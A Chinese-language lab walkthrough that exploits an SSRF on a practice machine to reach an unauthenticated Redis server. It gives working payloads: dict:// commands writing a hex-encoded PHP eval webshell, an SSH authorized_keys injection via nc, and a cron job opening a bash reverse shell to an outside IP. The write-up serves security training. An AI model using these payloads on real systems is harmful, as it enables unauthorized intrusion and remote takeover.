环境搭建

在下载好的靶机中,登录密码为hello

1
2
3
4
5
6
7
8
su root 密码为:xbw
cd ./redis-2.8.17/src
./redis-server ../redis.conf

要是想要完成公私钥登录就先完成一下步骤,在完成第二步
cd /root
mkdir .ssh

信息收集

查找靶机ip

1
arp-sanf -l

目标ip为192.168.0.32
image.png
80端口为http服务 发现还开启了ssh服务 还有6378端口,但是进不去
image.png
只有这一个服务,那很明显现在需要爆破目录,然后我们发现了app1这个目录
image.png
它说要输入url,那我们就测试一下www.baidu.com
image.png
这不就是ssrf吗,还发现了一个robots.txt文件
image.png

1
2
1.the server port 5562 is running and it's a web application
2.为了避免被黑客攻击,我把服务器的redis端口设置为6378了 把ssh端口 设置为21

现在我们就知道了6378服务是redis数据库了,原本我们是不能直接访问的,现在我们可以通过这个受信任的服务器帮我们把资源请求下来

dict的利用

我们可以使用dict协议在ssrf中对其内网进行探测
image.png
分别有80 6378 22
6378就是redis数据库了
注意的是我们利用ssrf对redis写马的原理是未授权,redis没有密码保护
通过dict协议,可以看出目标端口的指纹信息 进一步利用
dict://serverip:port/命令:参数向服务器的端口请求为【命令:参数】,并在末尾自动补上\r\n(CRLF),为漏洞利用增添了便利通过dict协议的话要一条一条的执行

CONFIG SET 是 Redis 的命令语句,用于在运行时修改 Redis 实例的配置,而不是直接修改配置文件。它改变的是 Redis 实例的当前配置,而这些更改会在 Redis 重启后丢失,除非将其持久化到配置文件中。

拿shell

dict

1
2
3
4
5
6
7
dict://localhost:6378/flushall
dict://localhost:6378/config:set:dir:/var/www/html/app1
dict://localhost:6378/config:set:dbfilename:hh.php
dict://localhost:6378/set:1:"\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x77\x5d\x29\x3b\x3f\x3e"
dict://localhost:6378/save

webshell密码w

1.清空redis数据库
2.通过redis命令把目录设置为app1
3. 设置 Redis 的 RDB 持久化快照文件的名称为 hh.php。这意味着当 Redis 进行数据快照时,将使用这个名称保存文件 4.设置一个为1的键,值为一句话木马
5. 在执行 SAVE 命令后,Redis 会将数据写入文件。设置了 dbfilename hh.php 后,Redis 会使用 hh.php 作为快照文件名,文件中应包含 Redis 数据

gopher

Gopherus-master.zip
我们在kali中下载这个工具之后,可以利用工具生成payload
image.png
把ip地址跟端口号改成自己的就行,然后在url强制编码
image.png

使用公私钥登录

原理是,在对方服务器中如果存在我们的公钥,那么通过私钥就可以直接进行免密登录
本地没有ssh公私钥的ssh-keygen -t rsa用这个生成

1
2
3
4
5
6
7
nc 192.168.0.32 6378
ping
flushall
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJpLaHb+Qqzugsui0PT+5lbH70vAva31UVVc2H9wQcqZHcbM+Io18KVQgVXaMrckwE1c7H6CQK4vWSlBwLKQx82LMWtAak1A2blzpfampKw5jHMTUI8cttIDhslR/cbLV0c2lRQTwxsoOC20g5zIA5iTjRw/9nisPFkRdEAg/Hi9pmyepZQFQM9HVhpRtLuHbovQEwneQr/4l4gOU6gaSiQGSpaJaOAiAxbFSN/A5xcJLwHeINjuQZrtgNr5kF8Mk56avjLUA9oK8i1GTRUqqMiVygilz0tTBdc9MwsL2rSkFV44xv5qQQvmKOj/oZHAEj//CAIPoxj33pGJ4RL2B5C38FQeYY2AIWUi4FIHZWnKT7s/7QK6fdyNUqA2g28Dmn49kVOBYm7evMFA38g4cwFC2kRUCE9ZYIIL8VIxo7fQFT286quTGmmCsZCQshcN82tzzo69xAz6lKtLJ2CMWP3dI7ezfcVzl83n3tb9MAWUpzVnmbxph/dmQWvVoGd+c= root@kali\n\n\n"
save

在我们用nc 与靶机的redis建立联系之后,就可以执行redis命令了,就可以直接把我们的kali的公钥塞进靶机当中
然后在
ssh root@192.168.0.32

计划弹shell

成功率也是很低的,payload放这个了,感兴趣的师傅可以去试试

1
2
3
4
config:set:dir:/var/spool/cron
config:set:dbfilename:root
set:ziye2:"\n\n* * * * * bash -i>& /dev/tcp/45.32.19.190/4545 0>&1\n\n"
save

主从复制

本人没有做成功,就去看看大佬的文章把
https://www.cnblogs.com/xiaozi/p/13089906.html